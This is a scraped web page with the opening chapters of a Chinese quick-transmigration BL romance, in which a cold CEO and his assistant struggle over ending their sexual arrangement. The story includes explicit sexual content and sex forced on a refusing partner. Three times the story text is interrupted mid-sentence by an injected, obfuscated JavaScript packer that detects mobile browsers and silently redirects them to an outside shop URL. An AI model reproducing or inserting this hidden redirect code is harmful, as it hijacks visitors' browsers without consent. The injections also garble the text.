《渣攻被替换后(快穿)》 1. 第 1 章 “啪嗒——” 钢笔从男人修长而挺直的指尖滑落,落在桌上,惊了办公室内另一人一下。 只见宽阔而明亮的落地窗前,男人头微微垂着,坐在办公椅上,钢笔离开他那玉竹般的手指,同时鼻梁上架着的玻璃镜片也挡住了他往常狭长而又锐利的双眸。 “萧总?”“萧总?” 愣了一下方闻钟才反应过来,萧疏刚才是太累了吗? 他欲往前一小步探查的脚步,又慢慢收回来了,一是工作期间,萧疏不喜欢他越过助理身份。 二是,他今天太累了。 方闻钟在一个月前,就听到萧疏可能结婚的传闻。 一开始他忍着,不闻不问,在床上不愿直面萧疏,但背对着他也很配合,他会在他们做着时,发出最尖锐的惨叫,似哭似爽,萧疏把他头掰过来,看到他满脸泪痕,还会问:“今天要够了吗?” 他哭着点头。 他骗得了萧疏,却骗不了自己,当公司内部都渐渐谈起这个传闻,猜测未来的总裁夫人会是什么样的时,萧疏自己也承认了。 方闻钟问他,“你会结婚吗?” 他说:“嗯。” 原来未来的总裁夫人,是和萧总门当户对的顾家大小姐,他们商业联姻。 方闻钟也不知道自己在苦笑什么,甚至在萧疏面前他连笑都不敢,只是藏起一切情绪,“哦。” 一切应该在今天划上句点了。 早上,他把斟酌了一夜的信息发给萧疏,大意是:萧总,您要结婚了,我们不要继续床上关系了,我会好好只做你的助理,可以吗? 他还自认大度且白莲地加了一句,我不会向任何人提起我们的关系,也不会打扰到您和顾小姐。总之就是好聚好散。 他忐忑又急切地等着萧疏回复,然而一早上过去了,萧疏像压根没看到。 中午,他妈给他打来电话,又是老生常谈的催婚,许是催了三年方闻钟还没动静甚至像傻子一样没反应,他妈直接恶语伤人,从他小时候骂到他现在,没一件事让她看上眼的…… 方闻钟坐在卫生间里,一边左耳进右耳出听着那些已经伤害不到他的话,一边漫无目的地刷着手机微博界面。 直到停在一则消息上:萧氏集团欲与顾氏集团联姻,顾家千金主动且亲密地承认了这则消息并喊话萧疏,萧疏顶着他萧总的大V号,给她点了赞。 时间就在十几分钟前。 黑框眼镜后,平时笨拙而又温顺老实的眼,难得一见立马红了,簌簌落泪。 心脏一瞬间疼得他皱起眉头,电话那头他妈还在说,这场单方面的输出到最后由于方闻钟的沉默抵抗,让她禁不住发出最致命的威胁:你是不是要逼我去死啊! 方闻钟自己也不知道,他不结婚怎么就是逼着他妈死了。 他死死攥着胸口的衣服,不让自己发出任何哭泣的声音,“好,好,我今晚会去相亲。” 电话打完,他起身踉跄了一下,差点摔倒在卫生间里。 他笃定地想,自己这么难受,肯定是因为父母的逼迫和不理解吧,肯定不是因为一向冷漠,工作占据了他生活99.9999999%的萧疏,主动给顾小姐点赞,坐实了他们马上要结婚的新闻。 萧总恍惚了一下,那一下迷离对方闻钟来说就是几秒钟。 对和系统在空间谈话的萧疏来说,却是一两个小时。 萧疏是被突然调到“渣攻组”的,在此之前,他几乎待过快穿世界无数个分类组,名声自然也是大的可以,系统知道这是个深不可测的大佬,于是不敢多话,简单介绍了一下“渣攻组”的情况。 简单来说就是以前扮演渣攻的同行,要么中途ooc被察觉抹杀了,要么殚精竭虑最后也消除不了身上的渣攻属性,已经很久没有得到能运转小世界的能量值了。 萧疏划着虚空处的蓝屏,淡淡地问了一句:“渣攻属性是怎么算的,具体研究过吗?” 系统立马回复:“‘渣攻’可以是社会外界的认定,也可以是主角攻受身边朋友的看法,最关键是主角受是怎么想的!有时候主角受身在局中不觉得对方是渣攻,【规则】也可能判定渣攻属性未消……所以,”系统在萧疏一瞬不瞬的注视下,不太有底气地说出了它长久以来的推测,“要让主角受完全感觉到幸福,或许渣攻属性才会彻底消除吧。” 萧疏点了点头,显而易见,外界的判定就算再怎么改变,也不足以让【规则】直接判断渣攻属性彻底清零,关键点还是在主角受身上。 以往的同行都意识到了这个问题,于是拼命地对主角受好,可是,系统又白着脸提醒了萧疏一句:“一味地攻略主角受,导致言行和性格不符(ooc),是会被直接抹杀的!” 所以维持渣攻的原型,又拿下主角受,是一个很难把握的度。 作为这些小世界系统的他可是知道,主角受是有多么难以捉摸。 萧疏对于系统提醒他不要ooc的警告,似是不屑这么简单的问题他会不知道?又似是认同表示知道了,他看了系统一眼,“输入第一个世界的画面。” 第一个世界,他是萧氏集团的总裁,而方闻钟,是他一手提拔起来的床伴加助理。 起初,他也只是看好他的工作能力,但一次意外,让他们有了关系,萧疏是个极度冷漠的工作狂,没有爱但有欲,他也有想要纾解的欲望,恰好那次,他对方闻钟很满意,方闻钟又是他身边人,很方便,于是他提出了继续和方闻钟上床的关系。 甚至都不是包养,一周绝大部分时间,他们是正常的上下级关系,只有偶尔一两个晚上,他叫方闻钟来他家里。 他们的身体很契合,方闻钟也是愿意的,于是他没有想过别的可能,只当方闻钟和他一样,需要定时解决身体欲望,他们互不相欠,各取所需。 这种关系持续了五年。 他从25岁到30岁,方闻钟从初出茅庐的大学生,到现在已经被尊称为厉害可靠的方前辈、方总助,他也28了。 就在今天,方闻钟提出和他“分手”,萧疏很不明白,为什么? 就因为他要结婚了? 他皱着眉说:“我又不会和她发生关系,我还是很满意你。” 方闻钟气滞,你把我当什么了! 他的激动、反抗、不愿,在萧疏看来通通都是可以置之不顾的小事,他拉着他上床,像往常一样打开他的身体,还对方闻钟表示:看,你自己都拒绝不了。 直到方闻钟哭到窒息,宁可咬烂自己的嘴唇,也不愿再对萧疏笑一下,发出呻吟的声音,萧疏才兴致缺缺地送他离开。 他要的是一个床伴,不是一具好像被他强|暴的死尸。 之后他在公司的处境,和女人相亲,都不在萧疏关心的范围内,他的婚约,也渐渐将近。 他们好过的消息,是突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710955|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在公司内传开的,萧疏或许忘了,是前段时间,他有一次和朋友们醉酒,朋友问他,这么多年没谈过享受过,却马上要步入婚姻的坟墓了。 他低垂着眼,表情三分调侃四分讥笑,“谁说的,我有个床伴,五年了。” 方总助是爬上萧总的床!才有今天的地位的! 人人传播,萧疏不看在眼里,方闻钟也无法反驳!后来被排挤被莫名其妙诬陷离开公司,好像也成了程序一样的顺序。 事情还没完,他的性向被公开在父母同学面前,他们说他不知廉耻,自己兜里揣着润滑把自己往萧总身下送,他们讥讽他不自量力,一个玩物竟敢和顾家千金比,口中的鄙夷眼中的猜忌像烂菜叶子一样砸在方闻钟不再体面的脸上,他被嘲笑声淹没,被千夫所指,父母气极把他赶出家门。 他被世界抛弃了。 而那时,方闻钟恰巧查出胃癌。 听说萧疏身边已经有了另一个床伴,比他年轻点,比他好看,还比他知趣,只当陪萧疏解闷的床伴,不干涉他的婚姻。 女性朋友帮还在住院的方闻钟,去萧氏集团要赔偿工资,萧总冷眼旁观,任凭她大喊大叫被拖出去。 他们再见时,萧疏依旧高不可攀,而方闻钟低如蝼蚁,他从萧疏的眼里读懂了这样一句话:你怎么变成了这样一副模样? 他瞧不上他。 方闻钟惨笑了一下,再不期盼,心里所有的希望都灭了,自始至终,他都没有入萧疏的心,而萧疏也不知道,他爱过他。 他已婚。 “这个世界渣攻属性初始值是多少?”萧疏看完了动画问。 系统:“66。” 还挺吉利,萧疏嘴角微微翘了一下,他经历过太多太多了,早已喜形不露于色,有时候表露出来的,或许正是他想让你看到的,于是系统也不敢多话附和一句萧疏的评价。 “现在进去吗?” “嗯。” 落地窗前的男人动了动,他先是抬起脸,那张鬼斧神工般俊美的脸颊上,因架着一副无框玻璃眼镜,削去了几分引人入胜,反倒把严肃和冷漠值拉满,拒人千里之外! 萧疏重新拿起钢笔,骨节分明线条流畅性感的指尖用力,在文件上签名。 许久,他摘下眼镜,擦了擦镜片,双眸抬起,问方闻钟:“还有事?” 方闻钟愣了一下,这一愣也让萧疏看清了他。 穿着板正不出错的西装套装,带着一副黑框眼镜,头发垂下来刚好挡在眼睛上面,明明很稚气,萧疏甚至知道,他在床上摘下眼镜,露出舒服的神色时,会有点娇憨魅惑,可此时看起来,稳重乖顺下会让他显得有点老。 方闻钟立马低头,“没事了。” 他在他的注视下不敢迎上去任他打量,方闻钟尽量让自己平静而又郑重地问:“萧总,您看您的手机了吗?” 萧疏站起身,走向他,方闻钟被突然亲了一下。 这是他们“苟合”的信号,萧疏一旦做出越雷池的举动,就表示他想要方闻钟了,方闻钟自然也可以主动表示需求,他会配合,只不过方闻钟从未行使过这项权力。 心情复杂的方闻钟一下没注意到,以前萧疏只是会过来贴近他一下,并不会真亲,意思表达够他接受到信息就够了,这次却是实打实地亲在了他嘴上。 他猛地推开他。 听到不悦的萧疏说:“手机没电了,在充电。” 2. 第 2 章 萧疏往后退了一步,转身拿起衣架上的毛呢大衣,示意方闻钟走。 到了晚上的下班时间,看来萧总今天不打算加班,打算在家里床上和他的助理加班。 如果和往常一样,方闻钟会压着心跳,故作平静地跟在萧疏背后出门,然后进自己办公室,当他在西装外套上穿上一件厚羽绒服时,会看到楼下萧疏的车缓缓离开公司。 然后他会和同事打招呼,像每个工作日下班的夜晚一样,跟大家开几句玩笑,拉几句家常,说再见,下楼坐进出租车里,车绕一个方向,最终会回到萧疏在市区内的豪宅。 方闻钟怔怔的,他有萧总家门的密码,有时候等他到时,萧疏已经洗好穿着浴袍,等他自己去清理干净,然后两个人如吃饭一样,正常地躺在床上,进行生命大和谐运动。 有时候,萧疏会让他自己先去洗,在床上等他。 他会一边不耐地打着工作电话,一边背对着方闻钟偶尔回头看他一眼。 这种微小的不耐的情绪只有方闻钟能看到,电话那头,反正萧总永远是这样冷漠简洁的语气…… 方闻钟会捂住嘴角,悄悄笑一下。 无论他们怎么契合,无论在床上的那一刻方闻钟是多么舒展坦白,也无论萧疏放开了在床上是多么疯狂,他会在他耳边低沉地喘息,会在脖子里的汗滴到方闻钟脸上时用力碾压而又索取地亲他……一到床事结束,他又恢复了萧总工作时的模样。 此时,方闻钟不敢再留下,明明萧疏说过,可以留下过夜,如果不舒服不用急着走。 可方闻钟每次都急匆匆地要离开,他脸上的红晕,眼角的泪痕还未下去,已经穿好衣服说‘萧总,明天见’。 不怪他如此,他和萧疏的关系就是如此割裂,工作中,萧疏对他的态度,从未有过一丝一毫的暧昧,没有人会怀疑他们上过床! 只要情事结束,萧疏总能一秒抽离,所以方闻钟哪敢再在他平淡无波的视线下,躺在他的床上,身体发酸发痒,眼中情意满满…… 独自回家的路上,他总是很空白,很迷离。 身体里还留着他弄进来的东西,方闻钟不明白自己在干什么,沉迷还是清醒? 他对他有情,毋庸置疑,而萧疏对他只是互相利用,互相解决,方闻钟也清清楚楚。 他安慰自己,他们不会打扰到任何人,既然他和萧疏都愿意,那就这样吧,他还是很满足的,因为萧疏只和他这样,身边只有他一个人。 萧疏有洁癖,情欲也不是特别强烈,一周只要一两次,他们重复着这种生活,过了五年。 五年足够方闻钟了解萧疏,也足够让萧疏对方闻钟的身体微微上瘾。 萧疏对方闻钟也是极为满意的,工作中,只做助理该做的事,他挺聪明,能一手被他提拔起来做他的总助,肯定不是因为他为了让人离他近点网开一面,是方闻钟自己的能力让他坐在如今的位子上。 不枉他毫不留情的压力培养。 最令萧疏满意的,还是方闻钟在情事上的和他配合。 平日里看着有点呆板稳重的人,在他身下那么令人着迷,食髓知味,结束了也很快能回到自己的身份上,不会纠缠,没有麻烦。 萧疏很满意方闻钟在情欲一事上和他保持相同的看法,可以放松,但没必要让它占据太多时间,打扰到工作,他一直以为,他和方闻钟是相似的上下级加床伴。 直到此时,方闻钟的行为才让他有了些意外。 方闻钟先是用沉默表达了拒绝,又问了一遍,“萧总,你看看你的手机。” 萧疏抬头,反光的镜片一下遮挡住了其下如寒潭般清澈冷冽的眼,方闻钟不让自己显得慌乱,平静地说:“萧总,我们结束吧。” 萧疏对他的话无甚反应,却是在注视了他几秒后,当着方闻钟的面打开了手机,一目十行地看完方闻钟给他发的消息。 他微微挑起眉,“为什么?” 问的是那么四平八稳和理直气壮。 方闻钟忍不住抬起头,看他,“萧总,你都要结婚了,”心里的酸涩让他脸上挂着一丝假笑,好像在工作和生活之间找到了一个情绪的中间点,既熟稔讨好,又不免尴尬结巴地说:“你要结婚了,顾小姐……我们……” 咔嚓,萧疏合上解锁的手机,“我是要结婚,但不是现在。” 在方闻钟一秒脸白的情况下他又说:“但这和我们的默示契约有什么关系?” 方闻钟没听懂,或许不想懂,就见萧疏随意把大衣搁沙发上,重新坐下。 “嗯?要我说的明白点吗?”萧疏翘着二郎腿,以一个仰视却丝毫不损他霸道的语气说:“默示契约是指通过行为、惯例、期待等默认形成的契约约定,我以为我们早达成了共识。” “我喜欢你的身体,你也很喜欢被我……我们上床是为了轻松享受,互惠互利。 我们的肉|体关系如此纯粹,从未变过,所以是什么让你突然选择打破约定? 是我做的不够好?还是,你有什么其他,情感需求?” 萧疏的话直白如一柄柄利刃扎在他心上,方闻钟却不敢再让他猜测下去!在这段关系里,他一直知道萧疏是怎么想的,却不敢泄露一丝一毫他爱他的想法。 “没有,”他摇头。 短短几分钟,就让站在萧疏面前的方闻钟,看起来虚弱了几分,他不安地攥着拳头,“萧总,我不会破坏你们的婚姻。” 萧疏总算明白了,“所以是社会道德的约束?”他嗤笑一声,不知是嘲讽方闻钟不想做第三者的潜台词,还是他说起的他的婚姻。 “方闻钟,为一个不知道什么时候会出现的外来合同,打破现有契约,不是一个理智的选择。” 他在暗示他,他还不知道什么时候会结婚呢,或许三年,五年,难道就这样直接断了,身边没人空白的等着吗? 方闻钟听懂了他的暗示,不但没有高兴几分反而让沉闷铺满了眼底。 被萧疏一直从下往上盯着,他苦中作乐,萧疏是在用他自己的身体诱惑他吗?看来就床伴这个身份而言,他对他真的还挺不舍的。 可是他难得清醒,这次的事给了他一个抽身的时机。 无论三年,五年,萧疏迟早会结婚,而他迟早要退出! 到那时,他三十多了……长痛不如短痛,知道越拖结果会越坏,就没必要再白日做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710956|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦,奢望不属于自己的东西。 “萧总,我家里也给我安排了相亲,今晚我要去见一个女孩子。”方闻钟浅浅吸了一口气,羞涩地说。 “什么?”萧疏紧紧皱着眉,一瞬间像被冒犯了的狮子。 “我也想试着和女孩子接触接触,说不定我还会比你结婚早呢。” 他说着违心的话,不用看萧疏的眼睛,也知道萧疏此刻很愤怒,是,他看方闻钟的眼神,已经从刚才的讨厌,慢慢变得有点恶毒了。 空气被压缩,冰冻,方闻钟头闷闷的,萧疏一个简单的单音字,把他吓了一跳。 萧疏冷嗤了一声,他们互相看着对方。 结果萧疏的目光越来越不善,从方闻钟的脸上,落到他胸前、腰上,直到下面,他嘴巴轻轻动了一下,到底没说出那句话。 被打量的方闻钟难受极了,他好恨他那么了解他,一个眼神,一个字,就让他解读出了那句被萧疏吞下去的话。 你对女人,还硬的起来吗。 萧疏虽然二十五岁,才第一次和方闻钟发生关系,但他知道他是双性恋,男人女人都可以。 他以为方闻钟是纯粹的gay,只喜欢男人,因为在床上时方闻钟前面很少硬的起来,除非被他弄得太舒服了,又精心用手伺候,才会出来,而后面就容易动情的多了。 方闻钟抖了抖,他白着脸,萧疏说:“比起这个谎言,我更愿意听到你说‘今晚没兴致’,出去吧。” 他被赶出来了,萧疏还是把他的想法没当回事,似乎方闻钟拒绝了这一次,下次就会和往常一样…… 方闻钟静静地关上门,手握在外面门把手上死死捏着,倏尔,一滴泪滑下去砸在他手上。 他为什么会爱上萧疏呢,曾经他也是喜欢女孩子的呀。 - “方总助?方总助?” 女同事笑着抱着东西从背后和他打招呼,方闻钟转过身,也对她露出和善的笑。 “萧总没给你包红包啊?”她贼兮兮地问,一边还往总裁办公室瞅。 “早上看到官博都发了要和顾家千金联姻的消息呢,我们都兴奋坏了,第一次见到这种豪门联姻哎,本以为只是小道消息没想到成真了啊!小说情节竟在我身边!萧总说了什么时候吗?你和萧总那么熟悉有没有打听一下啊?” “我听人事说公司新来的负责官博运营的是萧总表妹,早上就是她点赞那条微博,这自家人都承认了肯定不远了吧。” 方闻钟往自己的办公室走,女同事跟在他后面说: “到时候萧总结婚,肯定会给我们包红包的,其中你的一定最大!” 他们离萧疏越来越远,直到方闻钟停在一间办公室门口,他笑容无恙地说:“给不给我包大红包我不知道,但我肯定会大出血的!” “豪门联姻哎,”他学她说话,“份子钱不会把我一年工资都掏干净吧。” “哈哈哈哈哈哈哈哈哈!” 女同事笑弯了腰,“那我先走了,方总助,你也准备下班了吗?” “嗯。” 方闻钟靠在门上,在偌大的办公室,孤零零一个人缓缓坐在地上,垂下头去。 3. 第 3 章 “抱歉,我来晚了。” 饭吃到半晌,方闻钟和和他相亲的女孩子相处得很愉快。 他们吃了火锅,女孩性格很开朗,一见面就打趣他,“哇,知道要和方阿姨的儿子相亲,我可是花了好长时间打扮的,就为了不在社会精英面前露怯,没想到你……” 她上下看了眼方闻钟的穿搭,他懒得换衣服,直接在西服上套了件黑色羽绒服出来了,料想中的高冷、距离感,都没有。 方闻钟知道女孩子是在捧他,也是真的有点惊讶,下意识回以善意,他撩了撩额前有些挡眼的碎发,“那真是我的荣幸,浪费你多余的时间。” “怎么就多余了,”女孩抬眼,“你不会一见面就否定我吧。” 说得方闻钟僵在原地。 他们换了话题,说到方阿姨给她介绍方闻钟时,她是多么好奇,年纪轻轻就做到公司高层,肯定很了不起!在她的口中,他妈妈很为他自豪,可是就在白天,方闻钟听到的都全是贬低。 方母是他们唯一都熟悉的人,于是多说了几句。 “方老师,变化挺大的。” 是的,方闻钟妈妈曾是女孩高中老师,印象中,她严厉、一丝不苟,可现在,头发有了银丝,脸上的皱纹仿佛生活钝刀子割肉一样刻上去的,她和大多数中年妇女一样,变得抱怨、话多、有时候歇斯底里不可控。 方闻钟夹着筷子的手愣在半空中,心突然被扎了一下。 生活中受伤的,不止他一个人。 “你应该摘掉眼镜哎,”在方闻钟拿下黑框眼镜,擦眼睛的空隙,女孩说:“这个眼镜真的很封印你的颜值,哪怕戴个隐形都会好看很多!” 方闻钟愣了一下,笑道:“实用又方便,我们工作很忙,有了它我才不至于眼底这点红血丝。” 他刚来时就眼睛红红的,女孩惊了一下,“那你们也挺不容易的。” “你是不是没谈过恋爱啊,”女孩说这话时轻轻趴着,有些不好意思,“你看起来好像那种未开窍的大直男,没有人给你外形建议,白白让你浪费了一张帅脸。” 方闻钟的温和、平易近人,给了女孩说这话的勇气,可他却突然被“直男”两个字穿透了耳膜! 喉咙一阵火烧火燎的痛,刚咽下去的食物,好像锋利的刀片滑过,接着就是一串压抑不住的咳嗽! “你怎么了?”方闻钟捂着嘴,挡住女孩上前要拍他的手,他喝了一口水。 “辣到了吗?” “嗯。” 后半程方闻钟沉默了很多。 意识到他对自己不感兴趣,这场相亲或许黄了,女孩还是挂着笑脸,“方哥,我比你小几岁,厚着脸皮叫你一声方哥,我一个人在这边也没认识的人,以后还可以找你帮忙吗?” 她努力不冷场,“对了,这两瓶酒送给你,我自己酿的,你可以尝尝哦,是果酒。” 她递过来一个漂亮的有些重量的纸袋,“我知道你这么优秀我肯定不能一次相亲就把你拿下的嘛,方哥,我们下次见。” 直截了当拒绝的话在方闻钟唇边嗫嚅,他最终还是接过,在过去一个多小时的社交里,对方处处妥帖,是他自己不礼貌,“抱歉,”方闻钟向女孩低头,“有事可以找我。” 相亲就算了。 - 萧总最近脾气不太好,他不会骂人,只会用他那像要把视线内所有活物都冻成渣然后碾碎的眼神,蹂躏、折磨每一个进他办公室汇报的人。 下属面面相觑,叫苦不迭,“方总助,求你了!你行行好,你帮我把文件递进去吧。” 方闻钟笑着挡了一下,“你负责的东西,萧总肯定还会问的。” “而且,相信我,让我去你会死得更惨。” 我也会。 下属明白方闻钟说得对,萧疏最讨厌工作不认真还甩锅的人。 “也不知道萧总最近怎么了,是不是欲求不满啊……”他们偷偷嘀咕着。 听得方闻钟栽了一下,赶紧走远点。 当然他也有躲不过的时候,毕竟他的工作范围说白了就是围着萧总转。 他被晾在这里了,方闻钟确定,萧疏已经沉迷办公,让他在他面前站了四十分钟!就当方闻钟以为萧疏不会幼稚地跟他冷暴力,只是用这种方式小小地惩罚他一下时,萧疏给他扔过来一份项目策划书。 东西砸在自己身上,方闻钟赶忙接过,萧疏双手交叉,坐在转椅上看他。 “给你一周时间,把里面提到的那个行业大牛挖过来。” 方闻钟立马翻开看了一会,他皱着眉,这份项目策划书一直没落实,而且是萧总提出来的项目,对公司未来发展有很大影响,做成了,千好万好,做不成其实也没什么,方闻钟只知道,很难很难。 而现在,这个烫手山芋被扔在了他手上。 “萧总,我……” 萧疏已经低头,重新看向电脑,“不是时间多得去吃饭吗,做不到就滚出公司。” 他说得不留情面,方闻钟却明白了他的隐含意思,这是萧总隐射他去相亲呢……还让他最近离远点,别碍他眼。看来萧总气性很大啊。 方闻钟挂着假笑,“好的。” 萧疏忽然抬头,就那么一手搭着鼠标,一手随意搁在办公桌上,“过来,”他勾了勾手指。 方闻钟下意识走过去。 当萧疏的手指勾在他下巴上,他一下被吓到躲开了。 ! 萧疏表情更黑了几分!方闻钟不知所措! 萧总刚在干什么?和他在办公室调情?慌死了,而他显然拒绝了他,面前的总裁身上冒着一股寒气! “出去!” 萧疏刚肯定是再试探他一次,难道两人当真结束了?方闻钟出了他办公室,突然莫名其妙笑了一下,刚他是不是想骂“滚”啊! 感谢萧总的好素养。 三天没来公司,方闻钟再次坐在食堂里,看到几个小姑娘围在一个女生面前兴奋地说着什么,她们声音大了点,方闻钟听了半晌,才猜测到,原来被围住的那个就是所谓的新来的萧总的表妹。 他们在谈论萧总和顾家小姐联姻的事,以及一些老板八卦。 方闻钟味同嚼蜡地吃着饭菜,顺便想起,原来那天,他真的是手机没电了,没看到他发的消息,微博也不是他自己点赞的。 下午,方闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710957|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟被一个突然到访的访客弄慌了神!是顾家小姐到了! 她被直接带到了这一层,估计提前打听过他,一见到他就热情又友好地说:“方总助,你好~” 顾芙雅大概一米六五高,她穿着精致的衣服,这么冷的天露出来两条大长腿,头发做了编发造型,矜持又亲切地拉过方闻钟的手臂,方总助是萧疏身边最得力的干将,跟了他好多年,肯定对萧疏很了解,所以顾芙雅想和他搞好关系,顺便打听打听萧疏的事。 方闻钟一瞬间鸡皮疙瘩起来了,也不知是不自在还是羞愧难当。 对方是萧疏未来会明媒正娶的妻子,而他永远只是他上不得台面的污点。 或许萧疏自己不认为他曾经和别的男人上过床算得上什么污点,但方闻钟的脸面这一刻被他自己踩在脚底下,像个小丑,尴尬地想立马逃避! 他猛地抽出手臂,结巴到,忽然看见后面还有一个人,萧总的表妹躲在墙角握着拳头暗暗在给顾芙雅打气,难怪她会直接到这层楼,顾芙雅也回她微笑,“方总助,萧疏这会儿方便吗?” “方便,方…便。” 方闻钟不知道自己是怎么打开萧疏的办公室的,看在顾芙雅眼里,只觉他好急切,看来方总助站在她这边啊,她高兴地甩着小包,先一步方闻钟进去,“萧疏哥哥,好久不见~” 萧疏抬起头。 从办公室门开那一刻,他手里翻页的举动就没变。 身上的目光像刺一样,方闻钟不知道,萧疏的眼神略过顾芙雅,从始至终看着他。 直到顾芙雅也感觉到不舒服,萧疏好像生气了,才打圆场道:“是方总助带我来的,萧疏哥哥,不欢迎我吗,我们可是……” 萧疏合上文件,很平静的动作,方闻钟没敢抬头,心却被生生拽了出来,拧巴着,痛苦着。 萧疏走到两人面前,没管顾芙雅,曾经会在方闻钟身上流连的手指,这次抵在他胸膛上,把他直接推出去。 门在自己眼前关上了,方闻钟还没反应过来。 他懵懂的,不知道里面会发生什么,眼眶已蓄满泪水。 他浑浑噩噩地离开公司,“方总助,又出去啊。” “对,对,要见一个专家。” “你脸色不太好,生病了吗?” “没有。” 方闻钟终于扯了一下嘴角。 约见的行业大牛很难缠,三天时间他工作没有一点进展,对方要么谈七扯八不说这个话题,要么拉着他品酒,调侃风马牛不相及的感情问题,那男人也是个风流贵公子,方闻钟应付不了。 这次,他却沉默地喝着酒,那男人说什么他都听。 不言不语。 方闻钟酒量并不好,以前不是没醉过,但自从跟在萧疏身边当总助,萧疏不喜欢喝酒,所以也没人再没眼色的来灌酒了。 这次却好像怎么也喝不醉,或许他已经醉了。 “萧疏放心把你一个人支使到我跟前吗,”男人抿着酒杯说。 嗯? 男人笑了一下,“或许是我猜错了,他一贯没有心。” 他要拉方闻钟起来,方闻钟缩在沙发上,偷偷哭了。 4. 第 4 章 方闻钟笑得很乖巧,他眼眶红红的,碎发耷拉着莫名柔软,估计是知道自己在外人面前失态了,这一刻很不好意地强打起精神来,让自己清醒着和对面人道歉。 “乔先生,抱歉,我们下次约。” 乔晟拿着酒杯,“不着急,”饶有兴致地看着他。 方闻钟僵了一下,他不着急自己却着急,他很难受,但是影响到工作,完不成萧疏交给他的任务,方闻钟不敢想一周后如果他还没进展,萧疏会不会履行诺言。 毕竟他那么狠心,说把自己推出去就推出去了,到时候赶出公司恐怕他也不会有多余的表情吧。 他强忍着鼻酸,脸上已看不出什么,要跟乔晟再争取一下。 乔晟忽然说:“你回答我一个问题,或许我可以考虑最近再见你一面。” 什么? “萧疏要和顾芙雅结婚了,是真的吗?” “是。” 乔晟笑了一下,他盯着方闻钟的眼睛,“那你恭喜他们吗?” 方闻钟从乔晟的话语中猜到,他和萧疏认识,恐怕还有他不知道的关系,他麻木地说:“乔先生,这是第二个问题了。” “嗤,”乔晟嗤嗤笑道,饶过了他。 “你先走吧,我们下次见。” 看着方闻钟出去,乔晟站起来,隔着明亮的落地窗,看着窗外的夜色,又是一个可怜人啊,其实不用方闻钟回答,乔晟已猜到,萧疏对他的助理,只当一个床上的伴,可有可无。 可这个小助理,恐怕已经深深陷进去了。 他和萧疏的关系,说远不远,他们是高中三年的同学,家世接近,没少接触,说近不近,他喜欢的一个人,一直苦苦爱恋着萧疏…… 直到三年前,他们亲眼看到,方闻钟偷偷进了萧疏市区的家,萧疏有多洁癖有多排斥外人入侵他的领地,没人比他们更清楚,可那天,萧疏穿着浴袍,头发还湿润着,亲自来接方闻钟。 门打开,方闻钟慌了一下,萧疏已经揽着他的腰,亲上他的脖子。 那时他是震惊的,而他喜欢的人也心碎了,彻底放手。 他们以为,萧疏有了情人,这个情人恰好是他的助理。 可现在看来,哼,他要和顾芙雅联姻了,恐怕情人都不是,方闻钟就是他解决欲望的一个工具……这个工具当了三四年,也是说扔就扔的。 看着方闻钟今晚落寞的样子,乔晟一边看热闹一边唏嘘,萧疏啊,我还真是没看错你。 看来你让他来跟我接洽,还真不是给方闻钟一个功劳,为他好…… 方闻钟站在大街上,车来来往往,那些晦暗的灯,一一在他眼前闪过,脑海里滑过很多场面,有下午萧总和顾芙雅的,有乔晟打量的,有他孤零零一个人行尸走肉穿过熟悉的同事、街景,顿时觉得头更疼了,方闻钟上了车。 半个多小时后,萧疏听到了门铃声。 门打开,方闻钟被一个人扶着,浑身酒气。 出租车司机见到萧疏,一张憨厚的脸上因为夜色和光线,看不出其他表情,只看到满脸笑容,“呃,他,他喝醉了,也不说到哪儿,恰好我拉过他几次,你说巧不巧,就把他送你这儿了,”司机在萧疏冷淡的视线下,渐渐闭了嘴,在想自己是不是好心干错事了…… 萧疏走近一步,“方闻钟。” 方闻钟听到朝思暮想的声音,头微微顿了一下,又似乎想到不可能,萧总不可能再出现在他梦里,他也不能再让人看出来他喜欢他了!今晚已经差点酿成了大祸,被乔晟点破,他惶恐地害怕再被其他人知道。 于是头垂得越深,好像这样就能逃开名为‘萧疏’的牢笼。 谁料,下一秒他被人强硬地抬起下巴。 萧疏:“喝醉了?来我这里做什么。” 出租车司机看了半晌,方闻钟人还被他扶着呢,赶紧插话道:“呃,是,是我拉他来这里的。” 以前好几次晚上,他拉方闻钟来过这里,为什么对这个乘客印象这么深呢。 是因为从出租屋来这个富人区的人本来就少见,一到门卫那里门卫一看方闻钟的脸,就直接放行了,他就比较好奇,还问过方闻钟:“你住这里吗?” 方闻钟没回答他,但和他有过一次谈话,那天下雨,他拉方闻钟是最后一个乘客,抱怨了句‘这么晚下班,饿死了’,方闻钟下车时,把他手里的一个三明治递给了他。 说他到家了,吃的就给他。 